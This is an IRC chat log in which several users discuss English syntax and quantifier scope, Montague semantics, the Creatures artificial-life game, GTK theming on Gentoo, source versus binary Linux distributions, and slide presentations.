Deewiant. 19:30:03 psygnisfive: I type as though it were going into a Japanese IME. 19:30:04 -!- ais523 has joined. 19:30:06 a left-dislocation of the topical element 19:30:09 Deewiant: "Hello", Sam says. 19:30:12 And yes, it's valid English, if little-used. 19:30:13 "Hello", says Sam. 19:30:15 Sam says "Hello". 19:30:23 Are the valid orderings. 19:30:25 hi ais523 19:30:28 hi 19:30:28 Hmm, that comma. 19:30:31 ehird: literary use of "say" is very different actually 19:30:34 its not generic 19:30:38 True. 19:30:42 But you can twist most thigns into that. 19:30:46 It's just that say is the only one that feels natural. 19:30:47 not really 19:30:51 Deewiant: yeah, you need the comma. 19:30:56 ehird: Yes, I know. 19:30:59 the comma just denotes prosody 19:31:07 pay no mind to commas 19:31:09 I was just thinking that that's somewhat of a special case. 19:32:01 english, despite being a "fixed" word order language, is replete with transformations for changing word order to add pragmatic content 19:32:20 English used to not be as fixed in its word order. 19:32:27 true 19:32:27 I still can't see "oranges Sam eats" as being very valid :-P 19:32:43 deewiant, its a topical construction 19:32:43 Middle English wasn't much of a fixed word order language, and Early Modern English wasn't, either. 19:32:52 Deewiant: "Oranges Sam eats" is valid. 19:32:53 as in "ORANGES, sam eats, but not apples." 19:32:55 It's just awkward. 19:33:07 It's Oranges[tiny pause] Sam eats. 19:33:13 And "sa" is deeper. 19:33:17 Deewiant: Normally, I'd stick a comma in there. "Oranges, Sam eats" makes it seem a bit more natural. 19:33:27 pikhq: not standalone 19:33:29 But yes, it's a quite valid construction. 19:33:35 yes, again, as i said, the comma denotes prosody 19:33:42 which ehird denoted with [tiny pause] 19:33:46 and "sam" being deeper 19:33:54 ehird: Standalone, it's also valid. 19:33:54 "Oranges eats Sam"? 19:33:57 the tiny pause is shorter than a comma 19:33:59 Just archaic. 19:34:00 in "Oranges Sam eats" 19:34:01 imo 19:34:12 i guess the comma is different in this case 19:34:14 to a bog standard , 19:34:23 interestingly, because a lot of these transformations demarcate presuppositional content of a sentence, you can only use them in the portion of a sentence that contains an ASSERTION 19:34:28 which is cool. 19:34:32 What about "Oranges eats Sam"? 19:34:39 horrible. 19:34:42 Valid? 19:34:50 i cannot get any OVS constructions to work in english 19:34:55 Deewiant: Yeeeeeeeeeeeeessss... 19:34:56 Sort of... 19:35:00 But people will look at you very funny. 19:35:10 Oranges, eats Sam. is slightly better 19:35:11 People will look at you funny for "oranges eats Sam" as well 19:35:17 ehird: looking at you funny basically means its bad. :) 19:35:21 I'm going to say "no" unless you come up with something clever. 19:35:22 where the , is basically as long as a ; 19:35:26 psygnisfive: it's valid, just bad 19:35:29 The problem with English is that there's no authority for what's valid 19:35:34 bad means invalid, ehird :p 19:35:48 and there IS an authority, deewiant 19:35:51 the speakers. 19:35:54 Exactly. 19:36:00 I'd say it's valid 19:36:01 when you do large scale study of the syntax of english 19:36:03 Meaning that if you're looked at funny it's not valid 19:36:03 Just very awkward 19:36:17 you find that things are good or bad to different degrees 19:36:24 Yep. 19:36:27 If you want to see what word orders are valid, it's probably easiest to see which ones Shakespeare used. 19:36:28 and OVS is generally not taken to be good. 19:36:30 ;p 19:36:36 the thing about grammaticality judgements tho is 19:36:42 Validity is a relative concept in English. 19:36:50 most people will not understand what we mean by grammatical 19:36:55 this is true for any language, ofcourse 19:36:58 but like 19:37:07 a lot of times people think it means "can you figure out what im trying to say" 19:37:12 which is not what grammaticality is at all 19:37:33 grammaticality is more like "would it feel nature to you to say this?" or "would it sound odd if you heard this said?" 19:37:39 wtf R U talk about psygnisfive???????? lol ur freak 19:37:49 would it feel nature to you to say this 19:37:50 how ironic! 19:38:00 natural* 19:38:04 VERY ironic! 19:38:16 http://www.silentpcreview.com/files/images/silverstone-raven/01.jpg Computer case. Comes with cat. 19:38:21 Thinking about it more I'd have to say that "oranges Sam eats" is 'invalid', because nobody thinks that's normal 19:38:36 lots of people think its normal, deewiant 19:38:42 the order, anyway 19:38:45 I was hoping you wouldn't say that :-) 19:38:48 but you DO need the special prosody. 19:38:53 It's most commonly used in poetry, but it does come up in conversation rather often. 19:39:09 actually its probably more used in conversation than in poetry 19:39:16 just going by sheer number of times used 19:39:20 Can you give me a decent example 19:39:20 Mmm, possibly. 19:39:25 Maybe I'm just not realizing it 19:39:28 sure, i did earlier :p 19:39:45 "I can't see Alice." "What about Bill?" "Bill I can see." 19:39:53 exactly. 19:40:01 Ah, there we go. 19:40:14 another example, where its almost completely acceptable without ANY presuppositional meaning, is with quantified expressions 19:40:14 I guess I can't argue validity for different instances of the same construct :-) 19:40:14 as in 19:40:26 "every book that john reads john likes" 19:40:46 there it actually i guess some sort of focus use 19:41:01 I'd say "he likes" 19:41:03 For maximum confusion 19:41:13 wouldnt be confusing at all ;) 19:41:22 It can be in context. 19:41:33 psygnisfive: is to a linguist! 19:41:34 Say you've been talking about someone else for a bit. 19:41:35 ;p 19:41:36 well, if there is some other male around 19:41:37 but 19:41:38 ↑ that's odd too 19:41:40 starting with "is" 19:41:44 sort of 19:41:45 thats just the nature of indexicals in general 19:42:12 ehird: thats called null subject 19:42:26 its common in colloquial english, and in many romance languages 19:42:37 s/colloquial/spoken/ 19:43:17 written/more formal english has grammatical null subject in imperatives 19:43:22 (You) go to your room! 19:44:17 More formal English? That's common conversational English as well. 19:44:41 yes, i know 19:44:58 Point was that validity in formal english is the highest level of validity... or something like that 19:45:00 i was merely saying that more formal english doesnt have null subject except in imperatives 19:45:12 Oh. Misunderstood. 19:45:31 ehird, if youre interested in the language = logic (or i guess if anyone else is) 19:45:47 you should look at Categorial Grammar and its offspring 19:46:34 CG, and its most famous derivative, CCG, are essentially just words-as-lambdas-with-direction-specific-application-rules 19:46:43 hot 19:47:11 it really is interesting 19:47:27 CCG is where i got all that type-lifting nonnyhoggins from 19:47:46 i discussed some of it with oklopol and we decided that the idea was interesting and worth making into an esolang 19:48:14 because you can code up some absolutely convoluted things that make NO fucking sense except they do, because you can do crazy type shifting operations and stuff 19:49:57 since were on the topic of natural language stuff 19:50:08 theres a particular construction in english and a number of other languages called determiner sharing 19:50:22 which results in one of the WEIRDEST fucking semantic properties ive ever seen 19:51:24 for example 19:51:40 "many dogs eat alpo and cats whiskas" 19:51:51 -!- FireFly has quit ("Later"). 19:52:03 with the appropriate prosody (slight emphasis on "dogs" and "cats") 19:52:04 -!- FireFly has joined. 19:52:13 gives the same reading as "many dogs eat alpo and many cats eat whiskas" 19:52:25 http://tinyurl.com/rael3l 19:52:56 so theres this sort of ... "invisible" quantifier and invisible verb, that get picked up from the previous ones 19:53:14 GregorR: yeeeeeeeeeeeeeeees? 19:53:15 "many_i dogs eat_j alpo and Q_i cats V_j whiskas" 19:53:20 oh, it's 3d street view 19:53:21 English has very, *very* weird grammar. 19:53:21 haha 19:53:28 but like, get this 19:53:33 try a negative quantifier 19:53:35 ehird: Somebody is very clever :P 19:53:40 "no dogs eat alpo, or cats whiskas" 19:53:49 this does NOT mean "no dogs eat alpo, or no cats eat whiskas" 19:53:57 it means "no dogs eat alpo, and no cats eat whiskas" 19:54:15 in the D-shared version, you have OR, but in the explicit version you have AND 19:54:15 :D 19:54:17 psygnisfive: the or goes elsewhere, I think 19:54:24 ehird: actually it doesnt 19:54:29 "no (dogs|cats) eat (alpo|whiskas)" 19:54:29 the or is genuinely there 19:54:32 it's ORing the two arguments 19:54:37 whats REALLY going on is this: 19:54:40 English is just a natural Esolang. 19:54:43 "no" is compositionall "not some" 19:55:01 "some is the real quantifier thats being shared 19:55:13 while the "not" takes scope over the whole sentence, including the or: 19:55:46 "no D eat A, or C W" = "not(many D eat A, or many C eat W)" 19:55:58 so the OR has higher scope that some 19:55:59 ah, clever 19:56:03 ais523: you'd like that 19:56:05 but NOT has higher scope than OR 19:56:09 which is WEIRD 19:56:13 ais523: if an operation is an abbreviation of two operations, precedence 19:56:14 ais523: like 19:56:18 foo = bar baz 19:56:23 foo x quux y 19:56:25 could be 19:56:31 bar ((baz x) quux y) 19:56:32 because both NOT and SOME are lexicalized in the SAME WORD "no" 19:56:34 ehird: I'm rather busy atm 19:56:34 so not paying attention 19:56:36 trying to catch up on weekly nomic duties before midnight... 19:56:44 so that one part of "no" scopes LOWER than OR, while the OTHER part scopes HIGHER 19:56:52 the same is true of FEW = NOT MANY 19:56:57 ehird: like #define in C? 19:57:03 ais523: yep, but in english 19:57:05 its a completely baffling aspect of scope 19:57:06 ais523: no = not some 19:57:12 -!- Slereah has joined. 19:57:14 19:53 psygnisfive: "no dogs eat alpo, or cats whiskas" 19:57:14 19:55 psygnisfive: "no D eat A, or C W" = "not(many D eat A, or many C eat W)" 19:57:22 and before: 19:57:22 19:54 psygnisfive: "no" is compositionall "not some" 19:57:23 19:55 psygnisfive: "some is the real quantifier thats being shared 19:57:25 19:55 psygnisfive: while the "not" takes scope over the whole sentence, including the or: 19:57:27 pretty funny 19:57:55 what now? 19:58:12 I was pasting for ais523 19:58:16 oh 19:58:20 cant he scroll up? :p 19:58:28 he is busy. 19:58:30 anyway, its a completely baffling thing. i have no idea how to hand that syntactically 19:58:30 I'm still not paying attention, so stop pasting for me 19:58:33 playing agora :-P 19:58:38 nevermind semantically 19:58:46 all i know is the facts about negation scoping there. 19:58:55 its not even optional, its OBLIGATORY 19:58:59 unlike sentential negation 19:59:11 which can in some sentences have different scopes 20:00:00 this kind of shit is all over the place in natural language, its amazing 20:00:04 and really rather cool 20:01:19 oh, also, ehird, i know you like haskell and type theoretic logicy things, right so 20:01:31 you should check out Montague semantics/grammar 20:01:37 lots of type theoretic stuff 20:01:51 more like type theoretic dung beetle, am I right? 20:01:59 :P 20:02:05 to the extent that like 20:02:13 a dung beetle 20:02:22 you can trivially translate montague's stuff into haskell types 20:02:39 montague uses (a,b) or for haskells a -> b 20:02:56 and _everything_ is typed 20:03:01 fricken everything 20:03:35 quantifiers are presumed to have type ((e,t),t) 20:03:55 which i guess is equivalent to haskell forall a. (a -> Bool) -> Bool 20:04:51 tho there are only two primitive types in montague semantics, e for individuals, and t for boolean values, so... 20:05:13 i guess quantified NPs are ((e,t),t) 20:05:42 -!- asiekierka has quit. 20:06:04 the quantifier itself is probably like ((e,t),((e,t),t)) or something 20:06:06 i dont know 20:06:15 yeah, that seems right 20:06:49 all :: (a -> Bool) -> (a -> Bool) -> Bool 20:07:57 all(Birds)(Fly) ~= { x : Bird(x) } subset { x : Flyer(x) } 20:08:17 ::nod:: yes that makes sense 20:09:35 -!- WangZeDong has quit (Read error: 110 (Connection timed out)). 20:13:39 psygnisfive: that (a->Bool) thing is bunk 20:13:47 psygnisfive: that "all" can't be valid because it can't check every single case 20:13:54 psygnisfive: you need a way to iterate over all of them 20:14:09 well, this isnt supposed to be a true haskell thing ;) 20:14:22 all :: ((Bool -> Bool) -> Bool) -> ((Bool -> Bool) -> Bool) -> Bool 20:14:26 this is just the truth conditional logic of the all quantifier 20:14:42 or something 20:15:12 i mean, i guess if you had a haskell function subset 20:15:15 you could do something like 20:16:19 -!- jix has quit (Read error: 113 (No route to host)). 20:17:05 forall a. forall b. all :: (a -> Bool) -> (b -> bool) -> Bool 20:17:06 all apred bpred = subset [x | x <- U, apred x] [x | x <- U, bpred x] 20:17:41 or something like that. really itd just be all :: (Individual -> Bool) -> (Individual -> Bool) -> Bool 20:17:51 since all _things_ are of the same entity type 20:18:02 and that should, i think, work. 20:21:16 -!- Sgeo has joined. 20:23:27 hi ais523 20:23:37 hi AnMaster 20:23:40 I'm a bit busy atm though 20:23:43 ok 20:32:38 -!- jix has joined. 20:36:50 GregorR, you're on DS now? 20:36:59 yeah 20:38:12 The DeathStation. 20:38:47 * Sgeo is thinking of making "Dream Serums" 20:39:33 A Peace Serum and a War Serum: The Peace Serum makes the norn very unwilling to fight, and the war serum teaches the norn that violence is literally the answer to all problems 20:40:01 -!- tombom has joined. 20:40:36 Peace serum make cause permanent brain damage 20:40:54 LOL 20:40:56 Can has? 20:41:11 Doesn't exist yet 20:41:16 I need someone to make graphics 20:41:26 I can make shitty graphics, if shitty is what you're going for ;) 20:41:28 And I'm still uncertain about making vendors 20:41:42 GregorR, I'd like good graphics, but shitty will do for now 20:42:03 Is there an agent that will kill any norn that slaps another even once? :P 20:42:19 (The Saudi agent) 20:42:33 GregorR, it can be made fairly easily 20:42:43 And there are at least two general anti-slap agents out there 20:42:59 Clucky's, which separates the norns, and mine, which prevents hitting from having any effect 20:43:08 I suspect that mine isn't well know 20:43:10 known 20:43:26 The Bondi norns are hitting me 20:43:30 Names? (URLs? 20:43:32 ) 20:44:36 Not sure where mine is 20:45:15 Looking for Clucky's 20:45:19 Sgeo: I have lots of pregnancies, lots of eggs, and they never hatch >_> 20:45:36 GregorR, my superbreeders are in your world? 20:45:49 Open the options panel, and change the lower green number to something higher 20:46:31 http://web.archive.org/web/20080108054728/clucky.sts.winisp.net/Agents/Forms/AgentsForDS.aspx High Tech Hand, which includes Clucky's Stop Slapping Norns and Stop Slapping Creatures 20:47:00 Sgeo: Nope, these are all pure, I'm just letting it go and seeing what happens :P 20:47:27 (Except I want to toss in tons of agents before doing that :P ) 20:48:43 Best way to make sure norns are educated: Hook up a timer to a vocabulizer 20:50:22 * GregorR does that. 20:51:43 does ds work on osx 20:52:29 -!- kar8nga has joined. 20:52:30 A Peace Serum and a War Serum: The Peace Serum makes the norn very unwilling to fight, and the war serum teaches the norn that violence is literally the answer to all problems <-- what on earth is a "norn" 20:52:38 >_< 20:52:44 AnMaster: You have a great ability to rehash conversations. 20:53:01 Game. Creatures. Artificial life. 20:53:09 AI. 20:53:10 I see 20:53:24 open source? 20:53:27 No. Old. 20:53:29 1990s. 20:53:36 Docking Station is a recent one. Freeware. 20:53:45 Windows, Linux, dunno about OS X. 20:53:57 (The old ones aren't linux.) 20:53:58 AnMaster: The Norn was in charge of a group of Valkyries in Norse legend, I believe 20:54:14 ais523: that's both 100% correct and 100% irrelevant :) 20:54:19 ais523, That explains why it sounded familiar! 20:54:21 a different sort of norn? 20:54:23 Yes. 20:54:26 AnMaster: you probably know it from NetHack 20:54:27 20:53 ehird: Game. Creatures. Artificial life. 20:54:27 20:53 ehird: AI. 20:54:31 ais523, indeed 20:55:16 ais523, haven't played val for several months by now 20:55:29 haven't played nh for several months even 20:56:35 great, you can have DS for OS X, but you have to pay 20:56:38 Sgeo: pirate it for me plz 20:56:51 ehird, C3? 20:56:55 oh 20:56:57 DS for OS X 20:57:00 >.> 20:57:00 yar 20:57:00 http://creatures.wikia.com/wiki/Creatures_Exodus 20:57:14 I am under the impression that DS for OS X sucks 20:57:22 i am under the impression that your mom sucks 20:57:28 Apparently, a lot of things don't work in DS for OS X 20:57:29 I've got that game 20:57:49 Creatures hasn't done anything good in ten years 20:57:55 AFK 20:58:01 Slereah, heard of the Warp? 20:58:01 Slereah: wut 20:58:24 Also, the Genetics Kit and stuff are free now 20:58:24 Afk 20:59:39 No 20:59:41 Sauce 20:59:53 docking station has a warp thing 20:59:58 it gives norns to other people. 21:00:05 That sounds boring 21:00:15 People have been exchanging norns on the internet way before that 21:00:27 Slereah: tell that to the DS users, Sgeo gave them all an ultraviolent norn and an ultrabreeder norn 21:00:30 without their consent :^) 21:00:31 why 21:00:33 well, not them all, but a lot 21:00:35 kekeke 21:00:38 AnMaster: what do you mean why 21:00:38 does GIMP input controller dialog 21:00:41 support MIDI? 21:00:46 that makes no sense 21:00:50 sure it dos 21:00:51 does 21:00:57 paint by notes! 21:01:10 also, maybe some custom input things give via midi 21:01:21 unconventional "musical instrument" things could be used 21:01:22 http://www.smbc-comics.com/comics/20090309after.gif 21:01:38 <3 smbc 21:01:44 (before: http://www.smbc-comics.com/comics/20090309.gif) 21:02:17 :-D 21:03:31 ehird, here it is: http://omploader.org/vMW5vYg 21:03:38 (the gimp input config dialog) 21:03:53 oh my god AnMaster, set up a gtk theme, even the one that uses qt 21:03:56 raleigh breaks my eyes 21:04:07 it's worse than windows 95! 21:04:32 ehird, how does one do it with none of gnome installed (except gtk itself) 21:04:42 and really, I like this gtk theme 21:04:48 AnMaster: apt-get install gtk-qt-engine-kde4 21:04:50 or 21:04:50 wait 21:04:51 not as bad as most other 21:04:51 you use kde3 21:04:53 AnMaster: apt-get install gtk-qt-engine 21:04:55 and 21:04:58 adjust for OS 21:05:00 I don't use debian 21:05:01 :P 21:05:05 you KNOW that 21:05:14 AnMaster: it's gtk-qt-engine on gentoo, apparently 21:05:16 anyway, once you've done that 21:05:18 ehird, and I tried that gtk-qt-engine thing. 21:05:21 it was worse. 21:05:25 what? 21:05:27 it just uses your kde theme! 21:05:27 it rendered incorrectly 21:05:39 ehird, like, buttons over text next to them 21:05:40 and such 21:05:43 well, try updating it then :P 21:05:47 software gets improved 21:05:59 less work to live with current theme 21:06:06 you did ask. 21:06:36 ehird, yes, I had expected it to be much less work :P 21:06:41 AnMaster: erm 21:06:43 updating a package? 21:06:46 that's so damn hard 21:07:07 ehird, no. I tried it recently you see. Like 2-3 weeks ago. Checked it was the last version 21:07:26 AnMaster: at least install the Mist theme; that's pretty much like the kde 2 theme 21:07:34 i.e., plain but the edges are less subdued than Raleigh 21:07:58 AnMaster: gtk-engines-mist, fwiw. 21:08:06 or hm 21:08:08 just gtk-engines 21:08:10 yeah, no 21:08:11 and x11-themes/gtk-engines-qt hasn't been updated since then 21:08:12 gtk-themes 21:08:14 gentoo is weird 21:08:16 gtk-themes is right 21:08:34 x11-themes/gtk-theme-switch ? 21:08:43 AnMaster: gtk-themes 21:08:52 $ eix gtk-themes 21:08:52 No matches found. 21:08:52 and install chtheme if you want to use a switcher 21:08:56 AnMaster: what o 21:08:57 s 21:09:01 Gentoo... 21:09:05 AnMaster: ok, do gtk-engines 21:09:20 AnMaster: and also gtk-chtheme 21:09:34 then just start gtk-chtheme and choose Mist. 21:09:39 hm x11-themes/gtk-engines-2.16.1 is installed 21:09:49 then just start gtk-chtheme :-P 21:09:57 $ gtk-chtheme 21:09:57 bash: gtk-chtheme: command not found 21:10:04 have you installed gtk-chtheme? 21:10:12 x11-themes/gtk-chtheme no 21:10:18 then... guess what :-P 21:10:22 um... 21:10:27 trick question? 21:10:30 nope. 21:10:32 install gtk-chtheme first. 21:10:45 oh. I would never have guessed _THAT_ 21:10:53 yeah 21:11:08 anyway I didn't find what I was looking for in gimp 21:11:15 which was that "one window" thing 21:11:19 My arrow keys stopped working :( 21:11:25 AnMaster: any luck? 21:11:25 because I got tired of trying to find all the different pallets 21:11:32 ehird, with what? 21:11:38 AnMaster: gtk-chtheme... 21:11:42 &mist 21:12:50 ehird, I'm upgrading other stuff atm, will do it after. Yes gentoo supports concurrent installs and manages locking correctly, but I don't have enough ram to both handle rebuilding QT, having a huge image open in gimp and build yet another package :P 21:13:01 did I mention source distros suck? 21:13:07 i hereby mention thus 21:13:22 ehird, there are both pros and cons. For both source and binary distros 21:13:36 pros of binary distros: have ram left to install more packages, wait less 21:13:44 cons: firefox takes 5ms longer to start 21:13:47 dayum! 21:13:51 what a hard choice :-) 21:14:48 cons: you get all apps built against libXinerama just because some user *might* be able to afford more than one monitor. 21:14:50 and so on 21:15:16 oh and curl is build with ipv6 support, when you need it with ares support 21:15:20 so you have to build your own 21:15:35 curl couldn't do ipv6 and ares last I checked. 21:15:40 they conflicted 21:15:57 AnMaster: (1) Oh no, that's SEVERAL MEGABYTES! (2) That's totally a bug. Also, you can do that with two packages or variants of packages. 21:16:57 What about having stuff with GTK support and *not* GNOME support? 21:16:57 not a bug. It is just not possible currently. 21:17:02 missing feature != bug 21:17:09 pikhq, that too 21:17:37 I don't want gnome support, and not gtk support unless the app needs it and I can't use some alternative one. 21:17:43 Gimp falls into the latter categoryu 21:17:45 category* 21:18:00 pikhq: Multiple megabytes! Also, variants. AnMaster: Two orthogonal features conflicting = bug. 21:18:21 ehird, orthogonal? How do you mean in this case. 21:18:36 They are very related. 21:18:37 AnMaster: what have ipv6 and ares got to do with each other? 21:18:41 there's no reason they should conflict 21:18:47 you know what ares is? 21:19:04 I've heard of it, but I don't recall, no. 21:19:14 Still, if two features conflict they should conflict at RUNTIME. 21:19:38 async dns library. Which doesn't support ipv6. 21:19:39 ehird, you need to build packages more. :p 21:19:46 and what pikhq said 21:19:54 I really don't. 21:19:59 Fuck source distros :) 21:20:09 ehird, you need to be a package maintainer then 21:20:25 AnMaster: I have written packages before, IIRC. 21:20:35 * pikhq wonders how well the typical binary distro handles USE="-ldap", for example 21:20:51 ehird, not library/application maintainer. Rather maintainer of a package, of a distro 21:20:54 pikhq: By forcing you to waste *megabytes* of disk space. 21:20:55 AnMaster: Yes. I know. 21:21:01 such as for debian 21:21:29 ehird, megabytes of memory too 21:21:30 ehird: Uh... Megabytes of RAM space. 21:21:36 indeed 21:21:37 Yes. 21:21:39 MEGABYTSE. 21:21:41 *MEGABYTES 21:21:51 ehird, not all of us have 6 GB RAM :P 21:21:51 Also, a few milliseconds on startup due to not being tuned to your CPU. 21:21:56 Truly our binary life is horrific. 21:22:03 AnMaster: 2GB is very much enough... 21:22:07 Not all of us can stick 36GB RAM in a system. 21:22:08 ehird, 1.5 GB here 21:22:18 used to have 512mb 21:22:21 Srsly, we're talking MEGABYTES here. 21:22:23 until this year 21:22:27 yes my old computer had 512 mb too 21:22:28 Quit the hyperbole. 21:22:29 I find my RAM in plenty of use with hardly anything going. 21:22:30 that was a few years ago 21:22:41 ehird, I have a thousand of them. 21:22:54 pikhq: That's the compilation :-P 21:23:01 pikhq, even when not counting the kernel cache? 21:23:03 My browser takes about half of them. 21:23:12 AnMaster: Thousand megabytes total. 21:23:18 Besides, if you don't have much RAM... why are you compiling all the time?! That's just gonna be hell. 21:23:19 * pikhq has 1GB of RAM. 21:23:29 pikhq: 1024, surely. 21:23:37 1 GiB? 21:23:37 ... Who the hell compiles constantly. 21:23:38 :P 21:23:38 Seagate gigabytes are only used for HDs. 21:23:44 pikhq: people who use source distros 21:23:53 No... 21:23:54 ehird, you are misinformed then 21:24:00 My weekly update takes at most a couple of hours. 21:24:06 WHEN I'M NOT DOING ANYTHING. 21:24:11 WHEN I'M SLEEPING. 21:24:15 same here. 21:24:20 WHEN I'M USING CAPSLOCK. 21:24:36 SHIFT; I DON'T HAVE A CPASLOCK. 21:24:52 NOR DO I HAVE A CAPSLOCK. 21:24:56 what have you mapped your caps lock? 21:25:11 A proper Control key. 21:25:14 I LOVE MY CAPS LOCK. I WOULD NEVER GIVE IT UP. 21:25:15 "proper"? 21:25:18 pikhq: THAT'S GONNA GIVE YOU RSI, YOU KNOW. 21:25:37 pikhq: TAKE A LOOK AT WHAT YOUR HAND DOES WHEN YOU USE THAT CAPS LOCK CONTROL KEY. 21:25:38 UNIX keyboard layouts have a Ctrl to the left of A. 21:25:45 ehird, rick roll takes a new meaning when it is about the caps lock indeed! 21:25:47 Well, maybe not RSI. One of them tingymajigs. 21:25:54 AnMaster: Wat 21:26:06 Oh, my poor pinky. 21:26:12 * AnMaster watches ehird sing "never gonna give it up" to his caps lock key. " I LOVE MY CAPS LOCK. I WOULD NEVER GIVE IT UP." 21:26:14 Moving from A a tiny bit. 21:26:18 AnMaster: :-D 21:26:27 pikhq: Oh come on, try depressing it. 21:26:31 It's simply unergonomical. 21:27:08 What, and having a Ctrl below Shift is less so? 21:27:17 Yep 21:27:26 What the crap are you smoking? 21:27:36 Your finger doesn't bend or twist for the ctrl-below-shift. 21:27:51 Uh, yes it does. 21:27:58 It doesn't for Ctrl at A, though. 21:28:08 * pikhq thinks ehird sucks at typing 21:28:09 you have mutant hands 21:28:11 actually the only issue with source based distros are: Firefox and Thunderbird. Even QT isn't very slow to compile. And for OpenOffice you use the binary package. 21:28:24 I like how using a binary package still counts as source-based. 21:28:29 It's deliciously nonsensical. 21:28:33 AnMaster: Firefox isn't that bad. 21:28:43 Your finger doesn't bend or twist for the ctrl-below-shift. <-- mutant hands indeed 21:29:02 pikhq, Actually ff 3 seems faster to compile than ff 2 21:29:03 ehird: OpenOffice is a terrible load of bloat. 21:29:05 strnage 21:29:07 swapping control and caps lock is common, but I havne't 21:29:09 *haven't 21:29:17 It takes a *lot* of time to compile. 21:29:24 (and about 5GB of disk space) 21:29:32 I never tried 21:29:41 I heard enough horror stories 21:29:52 I just use Koffice instead. 21:30:05 I use better paradigms :P 21:30:09 pikhq, I use use lyx for word processing :P 21:30:16 Or TeX. 21:30:23 kile too yeah 21:30:32 but LyX makes it so much easier. 21:30:36 ehird, what paradigm? 21:30:45 Depends. 21:30:49 ehird, examples 21:31:17 I don't "process words", I'm either typesetting something (TeX or alikes) or just lightly formatting some text (Markdown) 21:31:31 I don't use spreadsheets, I use plain text files (and for the calculation parts, some scripts). 21:31:42 Admittedly, these aren't the most mainstream paradigms, but they're the easiest way to do it for me. 21:31:55 I find office suites to be almost entirely worthless. 21:32:19 -!- puzzlet_ has joined. 21:33:09 ehird, yeah. Only need them to open files I get. 21:33:34 I hear good things about antiword for viewing Word documents. 21:33:48 what about spreadsheets 21:33:49 For ODF, though, no clue. 21:33:56 ehird, also, how do you do your presentations? 21:33:57 ;P 21:34:03 AnMaster: Stab. Stab. Stab. 21:34:10 ehird, huh 21:34:10 TeX has a presentation mode, though I'm not familiar with it. 21:34:18 Interestingly, a lot more documents/spreadsheets are on Google Docs nowadays. 21:34:19 I do presentations with latex-beamer to PDF. 21:34:20 pikhq, yeah I heard ConTeXt was good for it 21:34:24 as well 21:34:25 So I just point my browser at them. 21:34:34 Apart from that, though, I find I rarely want to read a spreadsheet. 21:34:40 21:34 AnMaster: ehird, huh ← I hate presentations. 21:34:45 ehird, why 21:34:49 I didn't know that 21:34:54 Please read Tufte's "The Cognitive Style of Powerpoint". 21:35:13 ehird, link 21:35:20 bookstore.reality 21:35:34 AnMaster: If you want a summary in presentation form... http://www.aaronsw.com/weblog/000931 21:35:35 ;-) 21:35:56 It has a very nice front cover: http://www.edwardtufte.com/tufte/books_pp 21:36:06 Quite. 21:36:10 Tufte's a clever guy. 21:36:26 must find replacement 21:36:26 * Good: teaching kids to smoke 21:36:37 Our information-visualization course had a pile of Tufte books in the "potential reading for interested people" category. 21:38:14 ehird, how many presentations have you seen btw. I have seen both good and bad ones. 21:38:22 AnMaster: too many. 21:38:26 and just reading the slides isn't useful at all. 21:38:31 I know 21:38:59 * AnMaster hates when you find a link on the GCC wiki or whatever to slides from some developer meeting and that being almost useless to explain the issue. 21:41:04 Based on the prevalence of similar-looking slides in our seminar-format courses, using LaTeX with the "beamer" package is perhaps the most common way of making slides; well, at least for the more science-oriented departments. I guess presentation-culture might be different at the software business side. 21:41:05 also powerpoint is horrible yes. 21:42:00 slides can be useful when they are displaying something hard to describe in words. Such as a diagram, an image or similar 21:42:39 ehird, also, next time you are at a cinema, remember it is just slides, switched very quickly :P 21:45:27 -!- puzzlet has quit (Read error: 110 (Connection timed out)). 21:46:36 It's not so much that presentations are bad, but people really, really suck at using presentation tools right. 21:47:25 And Powerpoint doesn't help in the least. 21:48:19 indeed. 21:48:58 but I have seen it done right. Without computer. Hand written overhead. 21:49:01 Anyone remember that? 21:49:32 A decent slideshow for presentations should have slides that show little more than, say, diagrams, visualisations... Relevant formulae or algorithms... 21:49:49 AnMaster: Yeah, saw it done a lot by high school teachers. 21:50:05 Some of whom did a Powerpoint-style overhead. X_X 21:51:35 good slides are just a backdrop to a speech 21:51:45 they don't really convey the information by themselves, they're meant as something to look at whilst listening 21:52:07 ais523, so no useful diagrams? 21:52:16 oh, they can be useful 21:52:23 just diagrams don't normally tell the whole story 21:52:47 ais523, or relevant pictures? 21:52:55 Yeah, it should be a supplement to the speech. Definitely. 21:53:01 they don't normally tell the whole story either 21:53:22 generally speaking, when I do presentations, my slides are pictures but you can't tell what they mean without the description given in speech 21:53:33 ais523, not the whole story. But sometimes you can't say it in words easily. 21:53:53 AnMaster: are you trying to disagree with me? 21:53:57 ais523, no 21:54:00 I can't tell whether you're agreeing or disagreeing 21:54:02 but ok 21:54:04 just saying sometimes slides are needed. 21:54:09 !help 21:54:10 Supported commands: addinterp bf_txtgen daemon daemons delinterp fyb help info kill userinterps 1l 2l adjust asm axo bch befunge befunge98 bf bf16 bf32 bf8 bfbignum boolfuck c chiqrsx9p choo cintercal clcintercal cxx dimensifuck echo forth glass glypho hello kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor rot13 sadol sceql sh show slashes test trigger udage01 underload unlambda whirl yodawg 21:54:10 rare, but can happen 21:54:34 -!- puzzlet_ has quit (Remote closed the connection). 21:54:38 -!- puzzlet has joined. 21:54:55 -!- tombom has quit (Read error: 110 (Connection timed out)). 21:56:00 ais523, example: You are on an aircraft accident investigation team. You are now describing some specific damages to some relevant people outside the team. The media maybe? Who knows. Anyway it was decided to do it as a presentation. The pictures showing the damages would help a lot in explaining it. Of course, them alone would not be enough. But nor would just describing it be! 21:56:31 -!- MigoMipo has quit ("QuitIRCServerException: MigoMipo disconnected from IRC Server"). 21:56:49 "nor" is incorrect 21:56:54 you mean "neither" 21:56:59 ehird, ah indeed 21:57:46 * pikhq should create a programming language with the NOR operator as the only boolean operator. :p 21:57:55 NAND would be worse 21:57:59 actually, I think "nor" might be correct there too 21:58:02 and NAND is actually more common 21:58:14 due to being slightly cheaper to make with standard transistors 21:58:28 how comes you often see comments just before end of line in LaTeX btw? 21:58:29 yeah, that's a good point 21:58:29 like: 21:58:33 IIRC, I'm not quite sure 21:58:33 \begin{flushleft}\includegraphics[% 21:58:33 width=1.0\columnwidth]{img/sgrass.base.111.eps}\end{flushleft} 21:58:44 line continuation? 21:58:55 ehird, thought of that. But it doesn't seem to make any difference if I remove it though 21:59:02 at least not in this case 21:59:03 for humans then 21:59:06 -!- kar8nga has quit (Remote closed the connection). 21:59:19 ehird, that seems even stranger 22:00:57 * AnMaster wonders if it is possible to write C with no spaces or newlines apart from what is needed for #include at the top 22:01:13 and not using /**/ to do it 